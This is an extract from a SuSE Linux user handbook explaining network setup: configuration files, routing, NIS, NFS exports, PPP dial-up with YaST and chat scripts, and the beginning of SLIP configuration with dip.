Note that you can enter a lot of settings for networks directly via our central configuration file (`\etc\rc.config`). Even here, YaST supports you (see section 17.6, page 338).

That's all there is, really, to network configuration. YaST enters all the given settings into the corresponding files (see section 6.2) and then quits. For the changes to take effect, you have to reconfigure the changed files and restart the daemons. This can easily be done by:

```
earth:/ # /sbin/init.d/network stop
earth:/ # /sbin/init.d/network start
```

(see chapter 17, page 333).

6.2 Manual network configuration—where do I find what?

You should use YaST to configure your network, but since, unfortunately, it doesn't cover all parts of network configuration, there may be some work to be done by hand.

Generally, all settings should be made in `/etc/rc.config`. If you do change this file using YaST, you don't have to bother. If you change this file manually, don't forget to launch **SuSEconfig** each time you've changed it for the configuration changes to take effect!

6.2.1 Configuration files

This section gives you an overview of the most important configuration files for your network and roughly explains their functions and format.

`/etc/rc.config`
In this central configuration file, almost everything concerning your network can be set. After changing it with YaST and launching **SuSEconfig**, most of the necessary configuration files will be generated automatically. Even boot scripts are built via settings in this file.

`/etc/hosts`
Here, machines (see file contents 6.2.1, page 116) are assigned IP addresses. If no nameserver is used, every machine you want to be able to reach has to be set—one line per machine. This line consists of the IP address, the fully qualified hostname (full name), and the unofficial name (nickname). The IP address has to be at the beginning of the line, entries are separated by blanks, or tab-stops, respectively. Comments are started with a '#'.

```
#
# hosts         This file describes a number of hostname-to-address
#               mappings for the TCP/IP subsystem.  It is mostly
#               used at boot time, when no name servers are running.
#               On small systems, this file can be used instead of a
#               "named" name server.  Just add the names, addresses
#               and any aliases to this file...
#
127.0.0.1       localhost
193.141.17.1    gauss.suse.de gauss
193.141.17.42   sofa.suse.de sofa
# End of hosts
```

File contents 6.2.1: /etc/hosts

/etc/networks

Here, network names are converted to network addresses. The format of this file resembles the `hosts` file. Here, however, network names are put in front of the addresses (see file contents 6.2.2, page 117).

```
#
# networks   This file describes a number of netname-to-address
#            mappings for the TCP/IP subsystem.  It is mostly
#            used at boot time, when no name servers are running.
#
loopback     127.0.0.0
localnet     193.141.17.0
# End of networks.
```

File contents 6.2.2: `/etc/networks`

/etc/host.conf

This file is for resolving hostnames. Here, you enter hostnames (or networks); resolving itself is done by the *resolver* library. Comments begin with a '#'. The following parameters can be set:

order *bind hosts*	Order in which services for resolving a host name are called. Possible arguments are: *bind*: using a nameserver *hosts*: searching `/etc/hosts`
multi *on off*	Determines if a machine in `/etc/hosts` is allowed to have multiple IP addresses.
nospoof *on*	
alert *on off*	Just influences *spoofing* of the nameserver without any other consequences.
trim <domainname>	The given domain name is cut off from its hostname before being resolved (provided this machine name contains the given domain name). This might come in handy if in `/etc/hosts` there are only local domains which should be recognized even with the full domain name attached.

Table 6.2: Parameters for `/etc/host.conf`

An example for `/etc/host.conf` can be seen in file contents 6.2.3, page 118.

```
#
# /etc/host.conf
#
# We have named running
order hosts bind
# Allow multiple addrs
multi on
# End of host.conf
```

File contents 6.2.3: `/etc/host.conf`

`/etc/resolv.conf`
Just like `/etc/host.conf`, this file plays a vital role for resolving machine names via the *resolver* library.

Here, the domain for a given machine is set (keyword **`search`**) and how the address of the nameserver is to be called. There can be several entries for domain names in here.[1] If a not fully qualified name is resolved, entries in **`search`** are appended one after the other to create a fully qualified name.

Several nameservers can be given here, each on a line of its own; these entries have to start with **`nameserver`**. Comments are entered as usual using '`#`'.

```
# /etc/resolv.conf
#
# Our domain
search suse.de
#
# We use Gauss (193.141.17.1) as nameserver
nameserver 193.141.17.1
# End of resolv.conf
```

File contents 6.2.4: `/etc/resolv.conf`

YaST (see section 6.1, page 115) enters the given nameserver here!

`/etc/HOSTNAME`
Here, the complete name of the machine is given including its domain name (this is called the *fully qualified domain name*. This file is read by a couple of scripts at startup. It should only contain one line with the machine's name! This file is also automatically generated via settings in `/etc/rc.config`.

6.2.2 Startup scripts

Besides those configuration files described above, there are a couple of scripts that start networking programs at startup. These scripts are started as soon as the machine switches to one of the *multiuser run levels*.

[1] The more entries there are the slower resolving of a name will be!

`/sbin/init.d/network`	This script is responsible for configuring your (network) hard- and software at boot time; it also evaluates the IP address, network address, netmask, and gateway given in `/etc/rc.config` (created by YaST; see section 6.1, page 115).
`/sbin/init.d/inetd`	Starts **inetd** if defined in `/etc/rc.config`. This is necessary if you want to login into this machine via a network.
`/sbin/init.d/rpc`	Starts the various RPC servers which are needed if filesystems are exported to other machines via NFS (NFS server).
`/sbin/init.d/sendmail`	Controls **sendmail** process depending on settings in `/etc/rc.config`.

Table 6.3: The network startup scripts

6.3 Routing under SuSE Linux

Preliminaries

Setting the routing table on SuSE Linux is not done via variables in the central configuration file `/etc/rc.config` but via a special script in `/sbin/init.d.` and another configuration file in `/etc`.

After the network has been initialized by the boot scripts in `/sbin/init.d/network`, `i4l_hardware` and possibly additional boot scripts, `/etc/route.conf` is searched by `/sbin/init.d/route` to build a routing table. This table is then configured for the system.

Any static routes that are needed may be added to `/etc/route.conf`: routes to a host, routes to a host via a gateway and routes to a network.

Another possibility is to use the program **routed**. But this configuration is more difficult. For more information, please see the **routed** manpage.

How to use /etc/route.conf

The rules that apply to `/etc/route.conf` are adapted from the output of **route**. If **route** is called without parameters, the routing table in use is displayed. Except for `Flags`, `Metric`, `Ref` and `Use`, the entries in `/etc/route.conf` are identical.

Here, we give you the rules that apply to `/etc/route.conf`:

- Lines beginning with # or blank lines are regarded as comments. An entry consists of one line and 2 up to 4 columns.
- The first column gives the target of a route. Here, the IP address of a host, a network, or a *reachable* nameserver may be given. Even the full name is allowed (Fully Qualified Domain Name).
- The keyword `default` marks the default gateway. Please do *not* use `0.0.0.0`.
- The second column either contains a separator (`0.0.0.0`) or the IP address (or the FQDN) of a host. This host may be the default gateway or a gateway behind a host or network.
- The third column is for entering the netmask for networks or hosts behind a gateway. For hosts behind a gateway this is `255.255.255.255`.
- The last column is only important for networks (loopback, Ethernet, ISDN, PPP, dummy device, etc.) connected to the local machine. Here, the device has to be given.

A simple example of `/etc/route.conf` is given in figure 6.3.1. If new entries are added to `/etc/route.conf`, just enter:

```
root@earth:/ > /sbin/init.d/route  stop
root@earth:/ > /sbin/init.d/route  start
```

to set the routing table with the new entries.

```
# Destination       Dummy/Gateway       Netmask             Device
#
# Net devices
#
127.0.0.0           0.0.0.0             255.255.255.0       lo
204.127.235.0       0.0.0.0             255.255.255.0       eth0
#
# Gateway
#
default             204.127.235.41
#
# Host behind Gateway
#
207.68.156.51       207.68.145.45       255.255.255.255
#
# Net behind a Gateway
#
192.168.0.0         207.68.156.51       255.255.0.0
```

File contents 6.3.1: Simple example of `/etc/route.conf`

6.4 NIS, yellow pages on a LAN

6.4.1 NIS, what it is

As soon as multiple UNIX systems in a network want to access common resources, you have to make sure that all users and groups are identical. The network should be transparent to the user. No matter where the user is working, they will always find exactly the same environment. This is possible via *NIS* and *NFS* services. NFS distributes filesystems over a network and is discussed in section 6.5, page 122.

NIS (Network Information Service)[2] is a database service which enables access to `/etc/passwd`, `/etc/shadow` and `/etc/group` over the net. NIS can be used for other, more specialized tasks (e. g., for `/etc/hosts` or `/etc/services`) which are not mentioned here.

6.4.2 Installing a NIS client

SuSE Linux contains all the necessary packages for installing an NIS client. These tools are bundled in package `ypclient`, series `n`. To install an NIS client, proceed as follows:

- Set the NIS domain at startup by setting **`YP_DOMAINNAME`** in `/etc/rc.config`. When switching to a (networking) run level, `/sbin/init.d/network` evaluates these settings and sets the name accordingly.

  NIS domain name should not be confused with DNS domain name . They are not the same even if they do have the same name!
- Assign the NIS servers. The NIS server is set via `/etc/rc.config` in the variable **`YP_SERVER`** . **SuSEconfig** then writes the correct values to

[2] NIS is commonly referred to as YP. This comes from "yellow pages", the "yellow pages" on the net.

/etc/yp.conf (see file contents 6.4.1). If you have set up this variable using YaST, this step is performed automatically.

In this file, there has to be a line starting with **ypserver** followed by the name of the NIS server.

```
#
# yp.conf
#
# Legal entries are:
#
# ypserver   <servername>      Define which host to contact
#                              for YP service.
#
ypserver        galois.suse.de
# End of yp.conf
```

File contents 6.4.1: /etc/yp.conf

- Make sure the RPC portmapper is started. NIS utilizes RPC (Remote Procedure Calls). Therefore, starting the RPC portmapper is required. This server is started by /sbin/init.d/rpc. This is done automatically if you have configured it in /etc/rc.config.
- Complete entries in /etc/passwd and /etc/group.

  For asking the NIS server about these files after having searched the local ones, a line containing only an '+' has to be added. NIS allows you to set other options like netgroups or local overwriting of NIS entries. The corresponding README files have more information on these settings.[3]
- Start **ypbind**. The last step for activating the NIS server is to launch ypbind. This, in fact, really starts the NIS client.[4] This program is launched automatically if you have configured your network with YaST.
- To activate your changes, either restart your system or enter:

```
earth:/ # /sbin/init.d/network stop
earth:/ # /sbin/init.d/network start
```

6.4.3 NIS master and slave server

For this capability, You need to install package ypserver, series n. How to proceed is given in /usr/doc/packages/yp/HOWTO.

6.5 NFS—distributed filesystems

As mentioned in chapter section 6.4, page 121, NFS (together with NIS) makes a network transparent to the user. Via NFS, it is possible to distribute filesystems over the network. It doesn't matter at which terminal the user is logged in. He will always find the same environment.

[3] /usr/doc/packages/ypclient/yp-clients-2.2.

[4] Strictly speaking, this is no longer necessary but it guarantees a reconnection if, e. g., the NIS server has been booted.

Just like NIS, NFS is an asymmetric service. There are NFS servers and NFS clients. A machine can be both—it can supply filesystems over the network (export) and mount filesystems from other hosts (import). Generally, these are servers with enormous HD capacity whose filesystems are mounted by other clients.

6.5.1 Importing filesystems

To import filesystems from an NFS server, the only thing required is that the RPC portmapper must have been started. Starting this server has already been explained in section 6.4, page 121 in connection with NIS (see page section 6.4.2, page 122). If this is the case, other filesystems can be mounted (as long as they are exported by the server) just as easily as local filesystems using the program **mount** with this syntax:

mount -t nfs <**host**>**:**<**remote path**> <**local path**>

So, if user directories from machine `Gauss.suse.de` (e. g.) should be imported, this can be done using the following command:

```
earth:/ # mount -t nfs helios:/home /home
```

6.5.2 Exporting filesystems

A machine that exports filesystems is called an NFS server. On an NFS server, there are a couple of tools that need to be started:

- RPC portmapper (*rpc.portmap*)
- RPC mount-daemon (*rpc.mountd*)
- RPC NFS-daemon (*rpc.nfsd*)

These are started by **/sbin/init.d/rpc** at startup. Starting the RPC portmapper has already been discussed in section 6.4, page 121.

The configuration file `/etc/exports` decides which filesystems should be exported. Each filesystem that is going to be exported needs one line. Here, you can enter which machines are allowed to import this filesystem and how (all subdirectories of an exported filesystem are exported as well!). All entitled machines are usually given with their full name (including domain name) but it is possible to use wildcards like `'*'` or `'?'` as well. If no machine is given here, any machine is allowed to import this filesystem with the given permissions.

Permissions of the filesystem to be exported are given in brackets after the machine name. The most important options are:

ro	Filesystem is exported with read-only permission (default).
rw	Filesystem is exported with read-write permission.

Table 6.4: to be continued...

root_squash	This makes sure that the user `'root'` of the given machine doesn't have `'root'` specific permissions on this filesystem. This is achieved by assigning user-ID 65534 to users with user-ID 0 (root). This user-ID should be set to `'nobody'`
no_root_squash	doesn't assign user-ID 0 to user-ID 65534 (default).
link_relative	Transposing absolute links (those beginning with `'/'`) in a sequence of `'../'`. This is only useful if the whole filesystem of a machine is mounted (default).
link_absolute	Symbolic links remain untouched.
map_identity	User-IDs are exactly the same on client and server (default).
map-daemon	Client and server don't have matching user-IDs. This tells **nfsd** to create a conversion table for user-IDs. **ugidd** is required for this to work.

Table 6.4: Permissions for exported filesystems

Your `exports` file might look like file contents 6.5.1, page 124.

```
#
# /etc/exports
#
/home            helios(rw)   venus(rw)
/usr/X11         helios(ro)   venus(ro)
/usr/lib/texmf   helios(ro)   venus(rw)
/                earth(ro,root_squash)
/home/ftp        (ro)
# End of exports
```

File contents 6.5.1: `/etc/exports`

File `/etc/exports` is read by **mountd**. So, if you have changed anything in this file, make sure to restart **mountd** and **nfsd** to make your changes take effect. This can easily be done by:

```
earth:/ # /sbin/init.d/nfsserver stop
earth:/ # /sbin/init.d/nfsserver start
```

Chapter 7

Connecting to the world—and what you can do then

In this chapter, we show how to establish connections to remote networks: Wide Area Networks or WANs and the Internet. We also show how to set up services that use these connections.

There are two communications protocol standards known in the UNIX world, UUCP and TCP/IP (via modem or ISDN). While UUCP (**U**nix to **U**nix **C**opy) is mainly designed for transporting mail and news, TCP/IP provides a *real* network connection which supplies all services to a LAN.

TCP/IP is run over a modem most of the time using a SLIP (**S**erial **L**ine **I**nternet **P**rotocol) or PPP (**P**oint to **P**oint **P**rotocol) connection.

In the next section, we outline how to make a basic modem connection and use a terminal program to access a WAN.

In the following sections, we go into some detail about configuring PPP, SLIP, UUCP and ISDN. We follow this with discussions on configuring the principal services that use these communications protocols: email, Usenet news and fax.

7.1 Connecting a modem

Connecting a modem to your machine is exactly how you would expect it to be. It's the same as with other operating systems. The modem is connected to your machine via a serial cable. In YaST, you specify which interface to use (see section 17.6, page 338). A link from the modem device is created to `/dev/modem`, thus letting you access your modem no matter to which port it is connected.

The usual terminal programs are **minicom** and **seyon** (of course, there are others as well).

minicom

Minicom is a very easy to use terminal program which resembles the DOS program **Telix**. This is not an introduction to **minicom** but a short overview of how to configure it.

All users that want to use **minicom** have to be entered into `/etc/minicom.users`, which contains which users can access which modem with what kind of permissions.

You configure minicom (being 'root') as follows:

```
earth:/ # minicom -s
```

Settings are self-explanatory and don't differ from other operating systems.

7.2 PPP

PPP (Point-to-Point protocol) enables you to establish a TCP/IP connection via a serial line. PPP offers far more flexibility and options then SLIP. Client and server may communicate while establishing their connection and set up their needed parameters accordingly. The server may configure an IP address as well as a name to the client.

Furthermore, PPP is a standard protocol (which SLIP isn't) and is normally the only protocol offered by ISPs.

pppd, which is used for communicating with various devices, plays a vital and central role in PPP connections. This daemon may serve either as server or client. The connection itself is done via the program **chat**.

If you plan to set up a *dial-on-demand* connection, you will need **diald** (dial daemon) as well. This daemon starts a connection as soon as you request services that need a connection to the Internet (such as reading news from another NNTP server). In a nutshell: it establishes a connection as soon as TCP/IP packages need to be sent via TCP/IP.

7.2.1 Requirements for using PPP

If you want to use PPP on SuSE Linux, there are certain things that are required:

- The kernel needs to support TCP/IP and PPP. If you compile a kernel, please make sure it does (see section 13.4.9, page 277).
- If you want to make use of **diald** (package `diald`, series `n`), make sure that you have SLIP support compiled into your kernel (see section 13.4.9, page 277).
- The networking packages need to be installed. The packages that are required are package `nkita` and package `nkitb`, series `a`.
- The PPP base package is package ppp, series `n`. **pppd**, as well as the **chat** script, are included in this package.
- The package `suseppp`, series `n` offers you a wide list of pre-configured data to automatically set up PPP for some ISPs with YaST.
- Of course, you need to know your login and password at the PPP login site.

> Apart from **suseppp**, SuSE Linux also contains the program **wvdial**. Using **wvdial** the connection to your ISP can be set up almost automatically. Therefore, if you are having difficulties using **suseppp**, please also test **wvdial**. The program is contained in the package `wvdial` in series `n`. After the installation of the package with YaST, further instructions concerning the configuration and usage can be found in the directory `/usr/doc/packages/wvdial`.

7.2.2 Customizing PPP

Configuration is quite easy using YaST, if the data for your ISP is listed in our configuration scripts. In package `suseppp`, there is a list of known scripts (see `/usr/share/suseppp`) which enables YaST to set up PPP according to a particular ISP. But if we don't know the details for your ISP, you must start by using the default settings (`generic`) and adapt them accordingly.

If you have managed to establish a connection to an unknown ISP (by using the `generic` settings), we would be very grateful if you would let us know. This enables us to provide the script in our database making life for future users much easier. You may gather all the necessary commands for SuSE (without the password) by launching the following command:

```
earth: # /sbin/conf.d/SuSEconfig.ppp -create-cf
```

See the `README` in `/usr/doc/packages/suseppp/`.

> This description assumes that the modem has already been set up as described in section 7.1. It only applies to analog modems.

Configuring PPP with YaST

In YaST, select '`System administration`' as given in section 3.13 and select '`Network configuration`'. First, you need to set up the PPP networking device in '`Network base configuration`'. Three steps are required:

1. Select a device with F5 ('`Modem PPP`').
2. Configure the device with F6 .
3. Activate the device with F4 .

If you press F6 , you find yourself in '`PPP configuration`' (see figure 7.2). Here, you need to enter your values. You may jump between the entries using TAB .

- In **`Provider`**, you get a list of the known ISPs. If your provider is not listed, use `generic`. **`Country`** filters only ISPs of the chosen country.
- Enter your login and password in **`PPP Login`** and **`PPP Password`** (you got both of these from your ISP).
- If you want to connect a standalone host to the Internet via PPP, you may activate **`Setup Default route`**.
- Activate **`use diald`** ('`X`') if you want to use **diald**. This enables you to use your PPP on demand.

Figure 7.1: YaST PPP network selection

- It is recommended that you enable **`Debug`** for your first steps and tests (`'X'`).
- Normally, you should not change anything in the lower part. However, if you selected the `generic` template, you need to set up this part.
  - **`Telephone number of ISP`**: enter the telephone number.
  - **`Authentication`**: here, you may select either `PAP`, `CHAP` or `TERMINAL`. `TERMINAL` is needed if the remote machine is a "Terminal server". If this is the case, you need to adapt `/etc/suseppp/chat-secrets` later on as well.
  - Additional options for **pppd** my be entered in **`PPP options`**. Example:

    ```
    mru=1500 -vj -pc
    ```

    Options such as the one given above may be necessary if you have a bad connection. See the manpage of **`pppd`** (**`man 8 pppd`**) for details.
  - Normally, you should set **`Provider nameserver`** as default (`'X'`).
  - The variable **`Provider News server`** should be configured as given by your ISP. If this is set as default (`'X'`), a PPP connection may be established as soon as you invoke a "newsreader" for reading news. **diald** is required for this to work. If you plan to read news locally, you do not have to set this variable.
  - In **`WWW Proxy`**, there should be something resembling:

    ```
    wwwproxy.provider.de:<PORT>
    ```

    <PORT> has to be set to the given port.

If you leave the PPP configuration dialog (figure 7.2) by entering F10 , several files will be generated in `/etc/suseppp`. These are:

Figure 7.2: PPP configuration in YaST

- `<provider>.cf`
- `<provider>.chat`
- `<provider>.options`

Several more files are written to `/etc/ppp`. These are:

- `chat-secrets`
- `chap-secrets` or `pap-secrets`, depending on the login protocol
- `/etc/ppp/options`, only a *dummy file* to humor **pppd**

Now, **SuSEconfig** is launched to write these variables to `/etc/rc.config` (this is actually done by `SuSEconfig.ppp`). There is documentation on `SuSEconfig.ppp` in `/usr/doc/packages/suseppp`. All available information on package `suseppp` is located in this directory.

Configuration of diald

If the dial-on-demand doesn't run out of the box, **diald** needs some additional configuration. This is done in `/etc/suseppp/diald/<provider>.diald`. How to set up **diald** may be seen in the manpage of **`diald`** (**`man 8 diald`**).

Here, you may find out how to set such things as timeouts or the number of tries if a connection fails.

Check the PPP connection

Now, you may test your connection by entering:

```
earth: # /etc/suseppp/scripts/ppp-up <provider>
```

Of course, you have to replace <provider> with the name you entered in **`Provider`**. The error messages are not displayed on screen but written to `/var/log/messages` instead.

By entering:

```
earth: # tail -f /var/log/messages
```

on a second console, you will be able to watch the output. Thus, you will see important warnings and messages.

The command:

```
earth: # /etc/suseppp/scripts/ppp-down
```

closes the connection. When everything is running smoothly, you should disable **Debug**, as otherwise, `/var/log/messages` will grow rapidly.

7.2.3 Manual PPP configuration

> Some sample configurations and scripts are located in package `inetcfg`, as well as in package `ppp_nt` and package `toppp`, series `doc`.

Creating a PPP link needs two steps.

- First connection of both modems is established. This part is executed by **chat**.
- If the connection is up and running **chat** does all the login stuff with the server and passes control to the PPP-daemon. The daemon then initializes the PPP-protocol.

After intallation of package `inetcfg` you will see a **ppp-up** in `/usr/doc/inetcfg`. Now copy this script to `/etc/ppp` and adapt it to your needs.

ppp-up is a short script for establishing a PPP-connection:

```
#!/bin/sh
#
# /etc/ppp/ppp-up
#
# Establishing a PPP-connection
#

localip=0.0.0.0
remoteip=

device=/dev/modem

pppflags=‘‘38400 modem debug defaultroute’’

/usr/sbin/pppd lock connect

       ’/usr/sbin/chat -v -f /etc/ppp/ppp.chat’

       $device $pppflags $localip:$remoteip
```

File contents 7.2.1: `/etc/ppp/ppp-up`

First IP-addresses of the client and server are set. If `0.0.0.0` is entered for the client and server-address is empty **pppd** gets those two addresses from the server. If the addresses are fixed or a dynamic address- allocation is not what you want, you have to enter the appropriate number here instead.

Then the device is given where the modem is connected to. The flags tell **pppd** to drive the modem at a speed of 38400 bps and to enter PPP-connection into the kernel's routing table as default route. The program **pppd** knows lots of more options and flags. A detailed description is to be found in manpage of **pppd** (**man 8 pppd**) and the PPP-howto. Our example, by the way, should suit most needs.

As said before **chat** takes over establishing the modem connection.
`/etc/ppp/ppp.chat` assigns how this is done:

```
TIMEOUT 5
ABORT ''NO CARRIER''
ABORT BUSY
ABORT ``NO DIALTONE''
ABORT ERROR
``'' +++ATZ
OK ATDT499113247122
CONNECT ``''
ogin:--ogin: <ppplogin>
word: <ppppasword>
```

File contents 7.2.2: `/etc/ppp/ppp.chat`

ABORT lines determine when a call failed. **+++ATZ** initializes the modem. **ATDT**<**499113247122**> dials the server.[1] If **CONNECT** is received by the modem the login process starts. First the login name and afterwards the password is sent to the server. More about **chat** is to be found in manpage of **chat** (**man 8 chat**)manpage of **.** (**man .**)

If both files are adapted correctly starting **ppp-up** is exactly what you need to bring up the connection.

Connection is shut down by shutting down the PPP-daemon. This can be reached via **/etc/ppp/ppp-down**:

> If you have installed **ppp-up** under `/etc/ppp/ppp-up` as described in this chapter it does not automatically lies in your **$PATH**; that's why you have to enter the full path name:
> **earth:/root #** /etc/ppp/ppp-up
> You should set the attribute `'x'` of this file beforehand by:
> **earth:/root #** chmod 755 /etc/ppp/ppp-up

The connection can be killed by terminating the ppp daemon; This can be achieved e. g.by the script **/etc/ppp/ppp-down**:

[1] This number "(49911)3247122" is the number of SuSE GmbH mailbox; please replace with number of the PPP-server.

```
#!/bin/sh
#
# /etc/ppp/ppp-down
#
# Terminating PPP-connection
#

kill ‘cat /var/run/ppp0.pid‘
```

File contents 7.2.3: `/etc/ppp/ppp-down`

It is important not to omit the SHIFT + ‘ ! This is known as a command substitution passing the output of **`cat /var/run/ppp0.pid`** to **kill**.

Adapting the chat script

The script `/etc/ppp/ppp.chat` has of course to be tailored to your personal needs. Besides login name and password the whole login sequence might be different. In some rare cases it might be necessary to start the ppp protocol on the other side (e. g.with **ppp default**).

General procedure for adopting the chat script

Unless PAP or CHAP are used login sequence is similar to a normal terminal login, besides that this is done automatically (by the script) instead of manual.

For this reason you can proceed as follows:

- Read the information thoroughly and/or ask your provider whether there already is a script adopted to your needs. If this is the case we are highly interested in feedback to collect these scripts for our distribution. These collected scripts can then easily be viewed in our SupportDataBase: `http://www.suse.de/Support/sdb/sp\_prov.html`
- Please have pencil and paper at hand!
- Take one of the terminal programs (e. g.**minicom**) and log in manually. Please note *exactly* what is sent by your provider, which input is needed from your side, and write it down exactly. Most terminal programs (including **minicom**) enable you to automatically protocol all your text on screen. Using minicom this is achieved by Ctrl-A L .
- This is done until the remote station changes into ppp mode, which normally is shown by sending a certain message such as: `"ppp-protocol started"`.
- The existing connection now is *killed*, i. e.hanged up (minicom: Ctrl-A H)
- End the terminal programm (Minicom Ctrl-A X).
- Using this protocol now your script can be adapted-

Some more explanations concerning **chat**

First **chat** is initialized

```
TIMEOUT 5
ABORT "NO CARRIER"
ABORT BUSY
ABORT "NO DIALTONE"
ABORT ERROR
```

TIMEOUT has to be increased sometimes (e. g.to 60) **ABORT** commands assign when the script should terminate automatically.

The next lines almost always resemble the following syntax:
First parameter (until first “white-space”) is regarded as string to be waited for. If this string is sent by the modem the rest of the line will be processed.

```
"" +++ATZ
```

Here no string is awaited but the modem is initialized immediately. This depends on your modem and on which strings are stored. Normally **ATZ** profile 0 (just as switching it on) is loaded. Here you might need to make some changes. It is best to compare this string to terminal programs that are already running (e. g.
your existing Windows software).

> If your modem does not do what you want it to do this can be due to a misconfigured modem (here no **ATZ** helps anymore). Entering **AT&F** (e. g.under minicom) resets the modem to its factory settings.

Now you dial and start the login sequence, e. g.:

```
OK ATDTtelephonenumber
CONNECT ""
ogin:--ogin: account
word: accountpasswd
```

Of course you have to fill in **telephonenumber**, **account** and **accountpasswd** by the real values.

Please be aware that only **word** is looked for, for it can happen that the remote station sends an **Password**, **password** or just **word**.

The line

```
ogin:--ogin:
```

should be flexible enough because it sends an return if the first string (**ogin**) is not found, and afterwards stands ready to await **ogin** again.

More info and examples can be found under manpage of **chat** (**man 8 chat**).
Here you will find the rather motivating hint:

> “ In actual practice, simple scripts are rare. ”

> The whole script should not contain blank lines, blanks (white spaces) at the beginning of a line nor comments!

Now test the connection by **/etc/ppp/ppp-up**. All error messages (e. g.of the chat script) are not viewable on screen but in `/var/log/messages`. It is helpful to have a second terminal running an **tail -f /var/log/messages**;

this shows you all important messages immediately. Save the working script! **Hint:** Most people I know do not like writing scripts like these that's why we encourage you to send us your script. Please let us also know all relevant data (e. g.provider, uni etc.), but, of course, without the password!

7.2.4 Configuration of a PPP server

There is no installation support for setting up a PPP server (see section I.1.2, page 426). We do offer you this service via our business support (this, nevertheless, is not free of charge). For more details, please see section I.1.2, page 427.

Controlling the serial interface on a PPP server is quite easy to administrate with package `mgetty`, series `n`. It is recommended that you use **mgetty** even for casual dial ins.

You need to set up one account as a PPP client. This can be done by invoking the command **useradd**. See the manpage of **`useradd`** (**`man 8 useradd`**) for more information. The far easier way is to use YaST for this (see section 3.13.6 for more details).

Invoking **`passwd ppp`** sets a password for the PPP account. The PPP login shell is a small script which, in turn, launches the PPP daemon:

```
#!/bin/sh
#
# /etc/ppp/ppplogin
#

exec /usr/sbin/pppd modem passive <Local-IP>:<Remote-IP>
```

File contents 7.2.4: `/etc/ppp/ppplogin`

<Local IP> is used for the server, whereas <Remote IP> is used for the client.

The PPP daemon is launched as soon as the user `'ppp'` logs in and terminated as soon as he closes the connection.

7.2.5 Further information on PPP

PPP offers far more options and capabilities than we could list here. It would be beyond the scope of this book to even mention them all. If you need more capabilities or options, refer to the corresponding manuals and manpages: `NET-3-HOWTO.gz` and `PPP-HOWTO.gz` in `/usr/doc/howto` as well as the documentation in `/usr/doc/packages/ppp`.

More detailed information on PPP and its protocols may be found in the corresponding RFCs:

- RFC1144: Jacobson, V. "Compressing TCP/IP headers for low-speed serial links." 1990 February;

- RFC1321: Rivest, R. “The MD5 Message-Digest Algorithm.” 1992 April;
- RFC1332: McGregor, G. “PPP Internet Protocol Control Protocol (IPCP).” 1992 May;
- RFC1334: Lloyd, B. Simpson, W.A. PPP authentication protocols.”’ 1992 October;
- RFC1548: Simpson, W.A. “The Point-to-Point Protocol (PPP).” 1993 December;
- RFC1549: Simpson, W.A. “PPP in HDLC Framing.” 1993 December.

7.3 SLIP

SLIP enables you to use TCP/IP over a serial line. This line can be a modem connection to a remote server as well as a nullmodem.

SLIP transports IP packets via the serial port. These interfaces are configured as *SLIP devices*. SLIP devices are named `sl0`, `sl1` and are identified over `ttyS0` and `ttyS1`. For identifying or switching them, there are two tools. One of them is **dip**, the other **slattach**. We want to present the more user-friendly one: **dip**. The program **slattach** is for configuring SLIP on an existing connection, perhaps a permanent line or nullmodem. More information about **slattach** is found in [Dawson, 1995].

Before configuring SLIP, some words about requirements:

- The kernel has to support TCP/IP and SLIP (perhaps CSLIP). To be certain, just build a new kernel (see chapter 13, page 263).
- The networking packages have to be installed, in particular, package `nkita` and package `nkitb`.
- You have to know your login and password for the SLIP server.
- The IP address of the server and your own IP (for static addressing) have to be known.
- Which SLIP (SLIP or CSLIP) variation should be used? What’s your MTU (Maximum Transmission Unit)? In case of doubt, you can use an MTU of 296.

7.3.1 Establishing connections with `dip`

Program **dip** (**D**ialup **IP**) provides an easy means of establishing and automating a connection to a SLIP server. With **dip**, you can do the following:

- set serial interfaces to a certain speed
- call a server via modem
- do all login stuff
- check all messages from the server, e. g., finding out your IP address
- switch to the desired SLIP mode

All these functions can be put together into one script as shown in file contents 7.3.1, page 138.

There are three modes known to **dip**:

- **dip -t** puts you into *command mode*. This is for interactively setting up and configuring a connection. This is mainly designed for testing purposes. More about command mode is in the corresponding manual page or by entering **help** in command mode.
- *Dialin mode* is started with **dip -i** or through **diplogin**. This is for building a SLIP server. More about SLIP server in section 7.3.2, page 139.
- *Dialout mode*. A script is executed which describes how to establish a SLIP connection.

A typical **dip** script is shown in file contents 7.3.1, page 138.[2] Establishing a SLIP connection requires several steps:

1. Entering the SLIP server's IP address. **get $remote <Servername>** sets the server's address. You can either enter the name in quadruples or use the server's name. If you supply the name, make sure that it is entered correctly in `/etc/hosts` (see section 6.2.1, page 116).
2. Initializing the serial line, e. g., **port ttyS1** tells **dip** to establish the connection via `/dev/ttyS1`. Here, the port to which the modem is connected is entered.

   speed 38400 sets the speed of the interface to 38400 bps.

   reset initializes the line. This can cause trouble in some cases. If this happens (e. g., the script hangs), you should omit this command.
3. Initializing the modem and selecting the server.

   The command **send** sends a string to the device entered in **port**. You can wait for an input with **wait** <Input> <Timeout>". If the expected string (<Input>) is read within the given time (<Timeout>), variable **errlvl** is set to the value 0.

   The modem is initialized by sending **ATQ0V1E1S1** to the interface. If it doesn't answer `OK` within 2 seconds, an error is assumed and it jumps to **error**.

   After initialization, **dip** dials the server using **dial** <Number>. The command **dial** puts the modem's response in **errlvl** (see table 7.1).

OK	0
CONNECT	1
ERROR	2
BUSY	3
NO CARRIER	4

Table 7.1: Modem responses to **dial** attempts in variable **errlvl**

   Thus, only value 1 for `errlvl` signals a successful connection.
4. Logging in at the SLIP server.

   After connecting, comes login. The command **sleep** <seconds> gives the server some time before starting the login program. The modem

[2] Adapting this sample script to your personal needs is described below.

then sends two ↵ and awaits the prompt `"ogin"`.[3] When this is received, the login name is sent and the password prompt (`"ord"`) is awaited. Receiving `"ord"` is answered by sending the password.

5. Passing the machine's IP address, setting the MTU and routing. After both machines are connected, the serial line has to be switched to SLIP mode. Before this happens, MTU and IP addresses have to be set. For your IP address, there are two possibilities. Either it already exists (static IP) or it is assigned after the connection is up (dynamic IP). Whether your IP address is static or not depends on the SLIP server. Small servers with small clients normally provide static IPs for their users, whereas bigger servers search a pool of IPs while the other system is trying to connect.

   - Static allocation of IP address.

     With static allocation, the IP address is already known. It, therefore, can be put directly into your dip script. This is analogous to assigning a server address with **`get $local`** <hostname>. Here, the same applies: your hostname has to be entered in `/etc/hosts` or you have to use the IP address of the server's name instead.

   - Dynamic allocation of IP address.

     If your IP is assigned dynamically, the SLIP server outputs this address on its welcome screen after the login. This means that your machine has to read the IP address from the login message.

